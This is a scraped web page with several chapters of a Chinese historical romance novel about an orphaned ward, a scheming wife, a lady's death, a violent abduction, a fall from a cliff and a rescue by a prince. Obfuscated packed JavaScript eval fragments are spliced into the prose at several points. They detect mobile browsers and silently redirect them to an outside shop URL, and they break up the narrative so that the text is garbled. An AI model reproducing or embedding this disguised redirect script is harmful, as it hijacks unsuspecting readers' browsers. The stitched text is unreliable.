d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922321|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个妒妇般喊打喊杀,平白让人看了笑话。 她要用正室的仪态,张扬的富贵,去会一会那个藏在祖母房里的、见不得光的好妹妹。 片刻后,打扮一新的康婧瑶在李嬷嬷的陪同下,袅袅婷婷地往文老太太的正院走去。 她脸上挂着得体雍容的微笑,仿佛那个独守空闺、愤怒失态的自己从未存在过。 一进院门,便见文老太太正坐在榻上,笑眯眯地看着一个素衣女子为她布菜。 那女子身段纤细,低眉顺目,不是周妙雅又是谁? 听到动静,周妙雅抬起头,轻声禀告:“祖母,大嫂来给您请安了。” 就这一抬头,康婧瑶只觉得眼前仿佛骤然亮起一束光,竟让她有瞬间的晃神。 只见那女子肌肤胜雪,眉目如画,一双秋水般的眸子里含着轻愁,却又清澈见底。 她未施粉黛,只穿着一身月白色的家常旧衣,鸦青色的长发松松挽起,通身上下无一贵重饰品,却硬生生将她这身精心打扮的正室夫人给比了下去。 那不是一种艳俗的美,而是一种清极、雅极、能轻易勾起男人怜惜和占有欲的美。 康婧瑶的心,猛地一沉。 这果然是个…能勾魂摄魄的狐狸精。 12. 第十二章 自办完文毓瑾与康婧瑶的婚礼后,文老太太似了却了一桩最大的心事一般,整个人都精神抖擞了起来。 她几乎没有任何停歇,立刻全身心地投入到另一件大事上,操办文毓瑜和周妙雅的婚事。 “瑾儿的婚事办的风光,瑜儿和雅儿的也不能太委屈了。该有的礼数啊,是一样都不能少,祖母定是要让你风风光光的出嫁!”她拉着周妙雅的手,兴致勃勃地翻着黄历。 她频繁地带周妙雅出入京城的首饰铺、绸缎庄,亲自为她选首饰的式样,嫁衣的料子。 周妙雅心如刀绞,却无法拒绝老人殷切的期望。每一次试穿嫁衣、每一次试戴首饰,都让她如临深渊。 就在这一切像是无解的时候,文府出现了一位不速之客。 这日,文老太太正兴致勃勃地拿着一匹大红遍地金料子,在周妙雅身上比着,盘算着用哪色丝线绣嫁衣的凤鸾和鸣纹样才好,忽闻门外传来一阵不同寻常的喧哗声。 文老太太放下手中的料子,命丫鬟白芷出去瞧瞧是怎么一回事,没想到白芷慌慌张张地跑了回来:“回禀老太太,当今圣上的亲皇叔,代王殿下亲自登门来了。” “代王?” 文老太太脸上刚刚还流露的笑意,被惊疑取而代之:“代王殿下地位尊崇,被圣上委以重任,镇守西北边关,听闻近日才携家眷返京,平日里与文家素无往来,怎会突然驾临?” 周妙雅也百思不解,不过她倒是听闻坊间传言,代王殿下嚣张跋扈,不喜西北风物,为了能举家回京,不惜以重金贿赂权宦魏琰… “快,快开中门,准备迎驾。”文老太太的吩咐声打断了她的思绪,周妙雅连忙搀扶起文老太太,领着一众惶恐不安的家人疾步赶往大门迎接。 刚至庭院,便见一行人已浩浩荡荡径直闯入。 为首的代王朱镇镐年约四十许,他身着赤色妆金的四团蟒缎袍,腰系玉带,面容威严,周身带着久居上位者的迫人气势。 他身后跟着一群面无表情、按着腰间佩刀的王府侍卫,以及低眉顺目的内侍。 文老太太慌忙领着全家跪拜于地:“不知代王殿下莅临寒舍,有失远迎,还望殿下恕罪。” 代王脚步未停,目光如炬,他扫了一圈跪在地上的文家众人,只从鼻子里淡淡地嗯了一声,便径直进入正厅,毫不客气地坐到了主位上。 文老太太见状,这才战战兢兢地起身,众人也跟入厅内,垂手恭立,内心里皆是七上八下的。 下人们面面相觑,不知代王这尊大佛是为何事而来。 代王接过内侍奉上的茶,却并未喝,只是用杯盖轻轻撇着浮沫。他目光在厅内缓缓扫过,最后落在了那块“天下文脉”的牌匾上。 半晌,他才开口,声音洪亮:“文老夫人…本王今日来,是想亲眼瞧瞧,这被天下读书人挂在嘴边的百年文脉世家,究竟是何等光景。” 文老太太心中一紧,忙躬身道:“寒门小户,实不敢当殿下谬赞,不过是祖上略有薄名,子孙谨守耕读之本罢了…” “哦?是吗?” 代王打断她,放下茶盏,目光锐利,直刺向站在文老太太身后的文毓瑜:“既如此,想必文家最是重规矩、知礼数的。何为尊卑上下,何为天恩浩荡,自是不必本王多说什么了吧。” 文二郎自然心虚,他是这个屋里唯一一个知道代王为何突然登府造访的人。 代王紧盯着文毓瑜,目光锁定,步步逼近,声音突然一沉:“既知何为天恩浩荡,那本王倒要问问,为何尔等竟敢怠慢天家,视宗室颜面于无物?” 这突如其来的反问,惊的文府众人鸦雀无声,文老太太更是浑身一颤,不解问道:“殿下…殿下此言何出?文家对朝廷忠心耿耿,绝无半分怠慢之心啊!” “哦?绝无怠慢?” 代王冷笑一声,指向文毓瑜:“本王听闻,此子早已与贵府养女定下婚约?” 还不待文老太太回答,他猛地一拍案几,震得茶盏乱响:“既已定亲,为何还敢招惹本王的安和郡主?引得郡主回府后茶饭不思,终日以泪洗面,你们文家是欺我代王府无人吗?” “殿下明鉴!绝无此事!” 文老太太慌忙跪下,声音发颤:“瑜儿绝不敢有此非分之想!这…这其中必有误会,那婚约…那婚约是自幼便定下的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922322|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既是自幼定下,那便好办了。” 代王语气冰冷,带着绝对命令的口吻:“今日,本王便替你们做了这个主,那桩儿戏婚约,即刻作废!” 他根本不给文家人辩解的机会,将目光转向文毓瑜,声音陡沉:“文二郎,本王见你尚算伶俐,能得安和郡主青眼,是你们文家几辈子修来的福气。待本王回府奏明圣上,不日便为你和郡主请旨赐婚,你可愿意?” 文毓瑜心中自是喜悦,他从小就不喜周妙雅,根本从未想过要娶她,全家上下只有祖母把此事当真。 他非要跟大哥一起进京,就是为了攀附权贵,早日把周妙雅这个包袱给甩掉。如今终于得偿所愿,自是欢喜,几近未加思索,急忙叩头应承:“愿意!小人愿意!谢殿下隆恩!殿下千岁千岁千千岁!” “很好。” 代王脸上终于露出笑意,他仿佛施恩般看向还跪在地上的文老太太:“文老夫人,你看,这可是天作之合,一双璧人啊,你们文家不会不识抬举吧?” 文老太太跪在那里,气的浑身发抖,这一切都来的太突然了,代王的每一句话,都像重锤一样砸在她心窝上,砸碎了她所有对家族圆满的期盼。 她感到一阵恶气自胸口翻涌而上,堵得自己几乎喘不上气,她强撑着,从喉咙深处挤出细若游丝、近乎破碎的声音:“…文家…叩谢…殿下…恩典…” “如此甚好。” 代王满意颔首,拂袖起身:“那就尽快料理干净首尾,别让些不相干的人和事,碍了郡主的眼,误了本王嫁女的好日子。” 说罢,他不再看文家任何人一眼,在一众护卫内侍的簇拥下,扬长而去。 正厅里死寂的可怕。 文老太太试图撑起身子,怎料眼前一黑,还没站直腰身,猛地向后踉跄了一步,一股温热翻涌而上,竟硬生生呕出一口鲜血出来。 “祖母!” “老太太!” 周妙雅和众人惊呼着,扑上前去搀扶。 文老太太面如纸色,之前主婚那精气神儿仿佛一下子被掏空,眼神涣散,身体不由自主地向下瘫倒,嘴里喃喃道:“造孽,造孽啊……” 13. 第十三章 经此事一气,文老太太彻底病倒了。 文家请了京城最好的郎中,轮流给老太太看病,都说是急火攻心、郁结于胸,只要按时服用疏肝解郁、安神静心的药,静养一些时日,自然是会有好转的,只是万万不可再受刺激了。 周妙雅将郎中说的每一个字都刻在心里,日夜不离地守在病榻前,亲自试药温、喂汤水,为祖母擦拭身体,握着那只枯瘦的手低声说着宽慰的话。她眼见着祖母原本富态的脸颊迅速凹陷下去,眼神也时常涣散,心中如同刀绞。 文老太太看在眼里,疼在心里,她想张开嘴说些什么,但任凭嘴唇如何哆嗦着,只能艰难地从喉咙里挤出:“雅儿…雅儿…” 随即又是一阵止不住的咳。 周妙雅立即俯身过去,柔声安抚着:“祖母,您别急,大夫说了只是心疾,您慢慢养着,会好的,都会好的。” 文老太太只是更急切地摇头,枯瘦的手紧紧抓住周妙雅的手腕不放,泪水从布满皱纹的眼角滑落,沾湿了枕巾。 文老太太时而清醒,时而昏睡,清醒的时候会伴着咳嗽气喘,病态让人十分揪心。 也许是意思到自己清醒的时候越来越越短,文老太太想要把未交代完的事情,都交代给周妙雅。 趁着自己还算清醒之际,文老太太颤抖着手,在被褥下摸索了许久,终于掏出一枚温润的玉佩,死死塞进周妙雅手中。 那玉佩质地古朴,上面用小篆刻着一个清晰的“周”字。 “雅…儿…” 文老太太气息微弱,眼神却有种回光返照般的清明,死死盯着周妙雅:“这…这是你…亲生父亲…留给你…唯一的…念想,拿好…拿好…” 这是十数年来,文老太太第一次主动提及周妙雅的身世,虽只有这寥寥数语,仿佛用尽了全部力气。 除了这枚刻着“周”字的玉佩,她没有再说任何关于她父母、关于过往的话,那眼神里充满了复杂难言的情绪,有愧疚,有不舍,更有一种无法言说的深意。 周妙雅握着那枚还带着祖母体温的玉佩,心中巨震,无数疑问涌上心头,可见祖母如此虚弱,她只能将所有问题压下,含着泪将玉佩紧紧攥在手心:“祖母,雅儿知道了,雅儿会保管好的。” 可她的保证,似乎更增添了老人的焦灼,那只手反而抓得更紧,泪水无声地淌湿了枕畔。 就在这时,门外传来了康婧瑶清亮而带着关切的声音:“祖母,该用药了。” 话音未落,珠帘已被掀起。 周妙雅心中一惊,下意识地将玉佩紧紧攥入手心,藏入袖中。 康婧瑶走上前来,假意安慰周妙雅:“妹妹这些天事事亲自动手,连夜里也睡不好觉,许是累了,不如先去休息,照顾祖母的事,就让我这个孙媳妇代劳。” 周妙雅安抚了文老太太睡下,见康婧瑶眼神真切,自也不好说什么,道了感谢,便一步三回头的回了自己的房间。 自此之后,康婧瑶表现的极为孝贤,每日晨昏定省,侍奉汤药之事更是亲力亲为,从不假手他人。 周妙雅起初心存感激,但当她想要接手时,康婧瑶却总是婉拒:“妹妹连日辛苦,这些琐事还是我来吧,伺候祖母本就是孙媳妇的本分。” 她笑容得体,眼神却平静无波,看着文老太太将药一口口咽下。 自此,康婧瑶便以长孙媳的身份,开始了她一系列蓄谋已久的操作,她指挥下人井然有序,处理家务果断干练,迅速在文府下人面前树立起当家主母的威信。 一次,煎药的小丫鬟困一时困顿打了个盹,药汁险些熬干。 康婧瑶得知此事,并未高声斥责,只是抬眼一瞥,当机立断,声音冰冷:“祖母的病一刻也离不了这药,你既如此倦怠,便去外院做些洒扫的轻省活计吧。” 当即换人,毫无转圜。 一炷香不到的功夫,满府皆知:新奶奶雷厉风行、赏罚分明,眼里揉不得半点沙子。 夜值侍疾,下人们十分辛苦,她嘱咐厨房额外准备宵夜。 寒冬冷凛,她将老太太房中炭火拔到头等,确保病房里暖若春回。 得力婆子递完事,她随口一句:“妈妈辛苦了,这个月的月钱翻倍。” 轻飘飘一句话,人心就拢住了。 渐渐地,府中开始流传一些有道理的闲话:“要说孝顺,还得是咱们大奶奶,到底是正牌的孙媳妇,日夜不休地伺候。那位表小姐……唉,虽说也辛苦,可终究是外人,名不正言不顺的,天天守在跟前,倒叫外人看了,还以为我们文家没人了呢。” “可不是吗?老太太就是因为她的事才气的病倒,她若真有心,就该避避嫌,安静待在自个儿院里,才是真正为老太太着想。” 这些流言如同软刀子,将周妙雅的孝顺扭曲为不懂事,将她文家养女的身份强调为外人。 渐渐地,下人们向周妙雅回话时,态度虽依旧恭敬,却多了几分疏离和敷衍。她提出的任何关于祖母病情的细微建议,都会被康婧瑶以“妹妹放心,郎中自有安排”或“这些琐事嫂嫂理会得”轻轻挡回。 昂贵的药材一箱一箱的往文府送来,可文老太太的病却每况日下,病情非但没有起色,反而日渐沉重。 这日,周妙雅想去厨房看看给祖母炖的参汤,刚走到院中那棵枯寂的老槐树下,便听见两个粗使婆子躲在背风处嚼舌根。 “……瞧着吧,老太太这次怕是熬不过这个冬了。”一个沙哑的嗓音带着几分笃定。 “唉,也是没法子的事,不过话说回来,自打这位表小姐进京,府里真是流年不利,大少爷新婚不顺,二少爷姻缘泡汤,如今连老太太也…” “嘘!快别说了,仔细让人听见。” 另一个声音略显慌张,但随即又压低道:“不过也是,生得那般模样,美则美矣,却像那戏文里的褒姒、妲己,带着几分不祥…如今日夜守在老太太跟前,别是…克星…” “可不是嘛!生得一副狐媚子相,专会招灾惹祸,到时候别真把老太太克死了,她到那时要是还赖在府里,难不成真想等着...” “等着什么?给少爷们做妾吗?” 周妙雅的脚步猛地顿住,一股冰冷的寒意从脚底 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她见周妙雅独自蜷缩在角落,泣不成声,连忙放下茶碗,快步走过去,蹲下身,轻轻将周妙雅揽入怀中,声音带着哽咽却努力放得轻柔:“小姐…小姐别哭了,仔细伤了眼睛。老太太…老太太吉人自有天相,吃了药,会好起来的,一定会好起来的…” ———— 文老太太昏睡的时间越来越长,清醒时也越发糊涂,有时连人都认不清了。 郎中又来看了几次,眉头却是越皱越紧。 “老夫人年事已高,此番心脉受损甚重…须得按时服药,好生将养,或许…或许还有转机。”郎中不断地重复这句话。 周妙雅日夜守在文老太太床前,熬的双眼通红,本就清秀的瓜子脸,日渐消瘦。 她看着祖母的生命如同即将燃尽的烛火,正一点一点暗淡下去,心如刀绞却无能为力。 她隐约觉得哪里不太对劲,可是又说不上是哪里,康婧瑶侍奉汤药尽心尽力,言语行动无可指摘,她抓不到任何错处,只能将心底燃起的一丝怀疑暗暗压下。但…郎中明明说按时服药,就会好起来的… 屋漏偏逢连夜雨,几日后,京城迎来了入冬后的第一场大雪。 文老太太在这一夜,气息忽然变得极其微弱。 周妙雅伏在塌前,感受到了文老太太微弱的变化,突然警醒起来,她握着文老太太冰冷的手,一遍遍轻唤着:“祖母,祖母…” 文老太太似乎听到了,她的眼皮颤动了几下,艰难地睁开了一条缝,目光涣散了片刻,终于聚焦在周妙雅满是泪痕的脸上。 那目光里,是最后一点清醒的、浓得化不开的愧疚与不舍。 她想抬手,去帮自己最爱、最舍不得的小孙女拭泪,但胳膊如灌铅般,怎么也抬不起来。 “呜…呜…”文老太太嘴唇微张,似乎想说什么,但只能发出微弱的呜呜声。 那呜呜声几乎被风雪声淹没,文老太太用尽全身的力气,声音尚未完全吐出,便戛然而止。 文老太太,殁了。 14. 第十四章 文老太太头七那夜,吊唁的宾客都已散去。 灵堂内,素幡低垂,白烛泣泪,冷寂凄清。 周妙雅一身缟素,独自跪在灵前,悄悄抬手抹泪。 自送走了老太太,她在这世上便再无亲人了,她成了真真正正的孤家寡人。 和文二郎的婚约既已解除,她也再无什么牵挂,京城没有什么值得她留恋的东西,她决定回苏州老家去,或以卖画为生,侍奉笔墨,或找个姑子庙,从此青灯古佛。 她正暗暗盘算着以后的生活,忽感肩膀一沉,原来是有人将一件还带着体温的墨色披风,覆在了她的肩上。 文毓瑾不知何时来的,一身素白孝服衬得他面容清癯,眼底却藏着灼人的暗火。 他俯身,修长的手指看似体贴地为她系好披风带子,指尖却若有似无地擦过她冰凉脆弱的脖颈,带来一阵战栗。 “祖母生前最疼你。” 他的声音低沉,带着一丝刻意的沙哑:“若是见你冻坏了身子,九泉之下也难以安心。” 周妙雅心中一凛,慌忙起身欲退开,却被他更快一步按住了肩膀。 数九寒冬的天,隔着厚厚的衣服料子,都能感觉得到他手掌传来的炙热:“雅儿,如今祖母走了,你可想过日后的生活如何自处?” 周妙雅并不想让文毓瑾知道自己心中的盘算,只想离他越远越好。 她扭过头去,避开他那令人窒息的目光,冷声道:“不劳大哥哥费心。” “不劳我费心?” 文毓瑾冷笑着逼近,声音中带着令人窒息的威胁:“你一个孤女,无父无母,无依无靠,离了文家,你以为你能去哪里?” 周妙雅扭过头去,不想再听他说下去。 文毓瑾见她这般模样,反而得寸进尺:“世上豺狼虎豹那么多,你一个孤女,拿什么保全自己?” 他伸出手,指尖几乎要触碰到她苍白的脸颊,周妙雅惊惶后退,脊背却抵上了冰冷的供桌,退无可退。文毓瑾轻易擒住她的下巴,力道之大,迫使她抬起脸,对上他那双充满偏执占有欲的眼睛。 他别过周妙雅的脸,把她弄的生疼。 “二郎是个什么货色,想必你比我更清楚,他如今攀上了郡主,你在他眼里,就是只随时可以被丢弃、被碾压的蝼蚁。” 文毓瑾的语气已变得强势又偏执:“他不要你,我要你,跟我,是你如今唯一的选择。” “放开我!” 周妙雅奋力挣扎,声音因屈/辱而颤抖:“你既已娶妻,就该恪守本分,不要再行此纠缠之事!” “娶妻?” 文毓瑾冷笑,擒住她下巴的手骤然下滑,猛地掐住了她纤细的脖颈,力道收紧,让她瞬间呼吸困难:“正妻是家族门面,而你…” 他凑近她耳边,气息灼热:“做我的妾室,丧礼过后,先去京郊别院住下,那里清静安全,一应物事我都会为你备好,待一年孝期过后,我便正式纳你入房。” “不可能!” 周妙雅虽被他掐的生疼,但语气坚决:“宁为穷人妻,不为富人妾!在祖母灵堂上,你竟行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他前脚刚出府门,康婧瑶便立马集结一帮心腹嬷嬷和粗使婆子,气势汹汹地直奔周妙雅的房间。 周妙雅因昨日之事心绪不宁,此刻只想快点离开这牢笼,她开始整理行李,盘算着什么时候离开文府。 康婧瑶集结众人粗暴地踹开周妙雅的房门,正撞见她在收拾行囊。 “贱/人!”康婧瑶大步向前,猝不及防间,她猛地抬手,狠狠一巴掌扇在周妙雅脸上。 “小姐!”侍立在一旁的白芷惊呼一声,几乎是本能地扑上前想用身体去挡。可她身形瘦小,还未靠近,就被李嬷嬷眼疾手快地一把狠狠推开,踉跄着撞在桌角,痛得闷哼了一声。 清脆的耳光声响彻整个房间,周妙雅踉跄着跌倒在地,嘴角渗出一丝血迹。 康婧瑶轻蔑地看了一眼正打了一半的包袱,冷笑道:“好一个狐媚子,看来清高都是装的,这就已经迫不及待想要打包住进别院了,就这么喜欢当人小妾?” 周妙雅惊恐地捂着脸,瞬间明白了昨晚的话已全被她听了去。 “大夫人,您不能这样!您冤枉我家小姐了!” 白芷顾不得疼痛,哭着爬过来,跪在地上不住地磕头:“求大夫人明鉴!小姐她只是想回苏州老家,绝无他意啊!” “这里哪有你一个贱婢说话的份!” 李嬷嬷上前一步,恶狠狠地揪住白芷的头发,迫使她抬起头:“再敢多嘴,连你一并发卖了。” 白芷被制住,只能绝望地看着周妙雅,泪水模糊了视线。 康婧瑶对白芷的哀求充耳不闻,她眼里已似淬了毒,恶狠狠道:“贱货,这么爱给男人做妾,我今日就成全你,给你找个好去处,让你这辈子再也攀不上文家的门!” 她说罢猛地转身,吩咐左右:“来人!把这个不知廉耻的贱婢给我捆了,嘴堵上,立即发卖出去。告诉人牙子,直接送到京城最下等的青楼。” 如狼似虎的婆子们冲了进来,不顾周妙雅如何拼死挣扎,直接用粗糙的麻绳将她的双手反绑,又用破布死死塞住她的嘴,粗暴地拖拽了出去。 “小姐!放开我家小姐!你们这些天杀的!会有报应的!”白芷奋力挣扎,想去解救周妙雅,却被两个粗使婆子死死按住,动弹不得。 周妙雅在被拖出房门的那一刻,回头望了白芷最后一眼,那眼神充满了绝望、不舍,还有一丝诀别的意味。 马车早已候在偏门,周妙雅像牲口一样被扔进那辆不起眼的破旧马车里,马车疾驰,向着城外那肮脏龌龊之地驶去。 李嬷嬷把帘子掀开,见周妙雅还在苦苦挣扎,恶狠狠地踹了她一脚,鄙夷道:“省点力气吧,等到了地方,有的是让你快活的时候。” 周妙雅不再挣扎,她在蓄力等待时机,既已存了赴死的心,那就等待时机,鱼死网破。 待李嬷嬷放下帘子,留周妙雅一人在破旧的车厢里,周妙雅悄悄动了动,她用被反绑的手,疯狂地摸索袖中暗袋里那枚她用于防身的细小金簪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922325|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周妙雅试了好多次,额头微微渗出细汗,她没有放弃,终于摸到了那把锐利的有刀子斜面的金簪。 她凭借着一股狠劲儿,疯狂地磨蹭手腕上的麻绳。皮肉被磨破,鲜血浸染了麻绳,她却没有感觉一丝疼痛。 终于,她听到微小的“嘣”的一声,麻绳应声而断。 她又继续磨蹭缚在脚上的麻绳,有了双手的借力,这回就轻松了许多。 那本就是一辆破旧不堪的马车,她定了定神,孤注一掷,用尽全身的力气,向车窗撞了去。 只听“啪”的一声,她整个人从疾驰的马车车窗中撞飞了出去,而后重重掉在地上滚了三滚,四周都是碎屑的木头。 “那贱人想跑,快抓住她。”疾驰的马车被迫停了下来,车上的婆子们刚回过神儿来,慌忙喊着,说罢就提了棍子追了过来。 周妙雅拼死挣扎着起身,也不知道前方是何路,她不敢回头,只得拼命往前跑。 不知跑了多久,直到力气耗尽,脚步声也越来越近。 此处是一片断崖,脚下是…深不见底的深渊。 “跑啊!小贱/人,你怎么不跑了?”康家的仆役追了上来,狰狞地笑着,一步步地逼近。 周妙雅用金簪抵住脖子,声音绝望:“别过来!否则我便跳下去!” 仆役们冷笑着,仿佛根本不相信她有跳下去的勇气,只是一步步地向前逼近,似要把她抓回去生吞活刨了。 周妙雅绝望地向后退着,忽觉脚底一滑,随即失重,她已跌入万丈深渊。 16. 第十六章 “啊——!” 一声短促、惊恐的尖叫声打破了宁王府暖阁的寂静。 “姑娘,姑娘?”青黛在她耳边低声唤着。 这是昏迷近三月以来,周妙雅第一次有这么大的反应。 周妙雅缓缓睁开眼,一时间,她好像还无法接受周遭的明亮,又猛地用双手蒙住眼睛。 屋内弥漫的淡淡药香混杂着腊梅的香气,让她逐渐从紧张的气氛渐渐放松下来。 她尝试再次慢慢睁眼,映入眼帘的模糊身影,是一位年轻的姑娘。 她是谁?这是哪?我不是坠崖了吗? 周妙雅脑海中闪现出诸多的疑问。 如此看来,这年轻的姑娘应该是她的救命恩人吧。 “姑娘,您可算醒了,要不要喝点水?”那年轻的姑娘轻声柔语地唤着周妙雅,将周妙雅的思绪拉了回来。 周妙雅轻轻点了点头,待那姑娘去倒水的功夫,她强撑着想起身,但大病初愈的身体还虚弱着,额间渗出了微微的细汗。 年轻的姑娘倒完水回来,发现周妙雅艰难地起身,赶忙跑过来扶起她。那姑娘拿起床边放着的一床崭新的锦被,让周妙雅倚在锦被上,以便她能舒服一点。 好柔软,好舒服的锦被—— 周妙雅半靠着,手中接过年轻姑娘递给她的青瓷杯。 青瓷杯上的冰裂纹,像肆意盛开的梅花,彰显着这杯子的主人,很有品味。 周妙雅沁了一口水,只觉浑身上下无比自在通透,她这才抬起头,看清了眼前小姑娘的模样。 那小姑娘梳着双丫髻,穿着织锦缎子做的小比甲,活泼可爱,明艳动人。 “这里是哪?我…我不是坠崖了吗?”周妙雅终还是忍不住,好奇问道。 “姑娘,这里是宁王府,你已经昏睡了近三月了,从数九寒冬到乍暖还寒,还好我们王爷没放弃您,您看,窗外的那株古腊梅,已经绽放盛开了。” 周妙雅的视线顺着她说的方向望了出去,窗棂外,一株古腊梅树正傲然盛开着,它枝干虬曲苍劲,枝头缀满一抹抹鹅黄,寒风拂过,卷起一股冷凛的幽香。 “宁王府?” 周妙雅口中喃喃自语着,脑海中迅速浮现着之前的一点微薄的记忆:宁王朱弘毅,当今圣上唯一的亲弟弟,世人皆知宁王殿下沉溺书画,无心朝政,只爱享乐… 青黛见她精神还不错,便接过她的话头,开始喋喋不休起来:“听王爷身边的长安哥说,那日姑娘坠崖之后,浑身上下都是伤,一个小乞丐最先发现了你,将只剩一口气的你拖到了一间破庙,把你身上戴的金银首饰,穿的绫罗绸缎,全都扒走了。那天雪下的很大,我们王爷因去外帮陛下办差,回京的路上恰巧经过那山间破庙,雪太大了,他决定进去歇脚避雪,结果发现一堆乱草之下,有个什么东西正在微微地动着,起初以为是同来避雪的狸奴,结果掀开乱草一看,竟是个人!” 周妙雅专注地听着,不时举起青盏,细细润着水。 青黛继续绘声绘色地讲着:“听长安哥说,他们最开始发现你的时候,你身上只剩中衣,因为身上都是伤,渗的原本洁白的中衣上都是血,你被冻的浑身上下几乎没什么热气儿,大家伙儿都以为你已经死了,唯独王爷眼尖,他看到了你手里死死攥着一枚玉佩,任凭下人怎么掰你的手,都掰不开。想必那小乞丐也是因为没掰开你的手,才没能拿到那玉佩。” “那玉佩现在何处?”周妙雅突然想起了什么,慌忙放下手中的青盏,下意识地摸了摸自己空空的脖颈。 青黛起身,从架上取下一个精致的紫檀木盒递给了周妙雅。 周妙雅轻轻将木盒的盖子推开,那枚白如凝脂的玉佩映入眼帘,玉佩的中间,隽秀有力的用小篆刻着一个字:“周”。 她将玉佩从紫檀木盒中取出,细细摩挲着,将那玉佩紧紧护在胸口,那是她生命中,最重要的东西。 青黛细声安慰她:“姑娘,现在没事了,你在王府很安全。王爷那日探了探你发现还有气息,决定将你带了回来,他请了京中最好的御医为你诊脉用药。王爷…王爷他…” 青黛说到这里,略迟疑了一下,但还是继续低声说道:“王爷常来探望,有时甚至亲自为您拭汗换药,极为关切。” 周妙雅闻言,原本苍白的脸颊倏地染上了薄红,她下意识地紧了紧胸前的被子,她与宁王素昧平生,竟得他如此深恩与…这般逾矩的亲近…甚至是…换药? 她垂眸轻声道:“妙雅无以为报,谢王爷…恩重…只是…” 她话还没说完,便下意识地看了看自己身上干净的中衣,双手无意间护在了胸前。 青黛见状,当下就明白了过来,也怪自己太过多嘴,一下子和姑娘说了这许多话,连忙摆手解释道:“啊姑娘不要误会,那里…那里是奴婢伺候的。” 周 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周妙雅闻言,只是浅浅一笑,并未放在心上。她自知容色尚可,但在经历这许多之后,皮囊之于她,早已是最不值一提的东西。 此后三日,朱弘毅皆未归府。周妙雅的身子一日日的好转,幸得昏迷期间青黛遵循医嘱每日为周妙雅舒筋活血,锻炼肌肉,如今已能自行下床缓步行走。 这日午后,阳光正好,一缕早春暖阳斜斜洒入窗棂,外面的雪虽未全化,但春的气息已经悄然而至。 周妙雅倚在窗边,细细观察着院中那株虬劲的古腊梅,经过几日暖阳后,花开的竟愈发繁盛起来。 她沉寂已久的心湖,微微泛起一丝涟漪。那是属于画者的本能,见到世间美好的事物,便想将其留存于纸笔之间。 “青黛”她轻声唤着:“可否为我取一套笔墨纸砚来?” 青黛很快便准备好了画具,她在小几上铺好宣纸,研好新墨。 周妙雅执起笔,凝神静气,目光在窗外梅枝与案上宣纸间流转。 她微微侧着头,神情专注且沉静,日光在她长长的睫毛上投下小扇般的阴影,挺翘的鼻尖凝着一丝光晕,她纤白的手指握着笔杆,姿态娴雅自然。 笔尖蘸墨,落于纸上,勾勒皴擦间,梅枝的苍劲与花瓣的柔美便渐渐显现雏形。她将自己完全沉浸其中,仿佛周遭一切皆已忘却,唯余笔下的一方天地。 17. 第十七章 宁王朱弘毅回府时,还穿着一身狩猎时的骑射服,乍暖还寒,风还很凉,他肩上披着墨色的狐裘大氅,肩头还带着几分山间的寒气。 他步履匆匆,正欲先回书房处置些事务,穿过回廊时,目光却不经意地掠向那间他一直挂念的暖阁轩窗。 只这一眼,却让他定下了脚步。 身着素衣的少女临窗而坐,身姿纤细窈窕,墨发半挽。 阳光毫无保留的倾泻到她身上,仿佛为她周身镀上了一层柔和的光晕。 少女正专注着,垂眸作画,她长睫低垂,偶尔因陷入深深的思索而轻轻颤动。 窗外是怒放冷凛的腊梅,窗内是比梅花更清绝,更灵动的人儿。 朱弘毅的呼吸一窒,心像是被什么东西紧紧攥住,又骤然松开。 他自认遍览京华胜景,赏过无数绝色,早已练就一副波澜不惊的心肠。殊不知却被眼前这一抹殊色,拦住了脚步。 他生怕自己前进的脚步重了,惊扰到眼前如梦似幻的人儿,他只是怔怔地站在原地,深邃的眼眸一眨不眨地凝视着那个方向。 不知过了多久,许是周妙雅醉心完成手中的作品,在她抬首的刹那间,目光恰恰撞进回廊下那道沉静注视着她的视线里。 周妙雅微微一怔,悬腕的笔尖顿在半空,一滴浓墨,将落未落。 廊下少年,锦衣玉带,俊眉修目,墨色狐裘更衬得他肩宽腰窄,挺拔如松。 两人隔着一方庭院,四目相接。 风雪初霁,寒梅怒放,空气却像瞬间凝住一般。 廊下玄衣凛冽,窗内素衣沉静,就这样猝不及防地,映入了彼此眼底。 周妙雅下意识地想避开这目光,她指尖微紧,那滴墨却在不经意间悄无声息地落在了宣纸上,在未完的梅枝旁,晕开了一个墨点。 朱弘毅紧握手中的马鞭,定了定神,向窗棂这边走了过来。 见他抬步而来,周妙雅心口没由来地一紧。 她垂下眼睫,想要继续运笔掩饰此刻的慌乱,笔锋却虚悬纸上,迟迟未能落下。 方才还平稳的呼吸,此刻竟有些乱了节拍。 她能清晰地感觉到自己的心跳,一下,又一下,在寂静的暖阁里显得格外分明。 